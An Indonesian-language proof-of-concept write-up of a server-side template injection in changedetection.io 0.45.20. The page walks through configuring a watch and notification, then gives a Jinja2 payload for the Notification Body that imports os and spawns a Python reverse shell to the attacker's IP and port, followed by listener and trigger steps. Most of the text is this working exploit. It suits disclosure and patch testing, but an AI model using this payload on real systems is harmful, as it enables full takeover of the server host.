Uji coba pada versi 0.45.20
ChangeDetection.io bekerja dengan cara mengambil snapshot dari halaman web yang dipantau pada interval waktu tertentu, lalu membandingkannya dengan snapshot sebelumnya untuk mendeteksi perubahan. Pengguna dapat menentukan URL halaman yang ingin dipantau untuk memantau area tertentu saja. Ketika perubahan terdeteksi, sistem akan mengirimkan notifikasi melalui metode yang dipilih, seperti Discord, Email, Slack, Telegram, API calls, dan lainnya.
Kerentanan Server-Side Template Injection (SSTI) pada aplikasi changedetection.io yang menggunakan mesin template Jinja2. Kerentanan ini memungkinkan penyerang melakukan Remote Command Execution (RCE) pada host server, memberikan mereka kemampuan untuk menjalankan perintah sistem tanpa batasan, termasuk kemungkinan penggunaan reverse shell. Dampaknya sangat kritis karena penyerang dapat mengambil alih sepenuhnya mesin server.
Sebelum memulai, jalankan web server anda (http.server)
-
Setelah Masuk, masukan alamat pada url kemudian klik "Watch". Setelah itu klik "edit"
-
Pada tab "General", masukkan kembali url ke web server anda. Setelah itu set Time -> "Seconds = 30". Klik tab "Notifications" pastikan "Send a notification .." di centang
-
Pada "Notification URL List", input "gets://". Pada bagian "Notification Body", copy & paste payload dan ubah IP serta port.
payload: {{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",<your_port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}*
SAVE!! (Kembali ke Dashboard)
- Aktifkan listener, masukkan port sesuai dengan port yang telah ditentukan pada payload sebelumnya
- Tambahkan sebuah file pada direktori di "/home/user/" (pada kasus saya, silahkan sesuaikan dengan kondisi anda)
- Klik "Recheck"
- Perhatikan listener anda!
jika gagal, lanjut poin 5
- Reload dashboard
- Hapus file pada direktori di pc
- Kembali ke web, centang bagian alamat website anda, kemudian klik "Recheck"
Jika masih gagal, perhatikan video dibawah
poc.mp4
Sumber :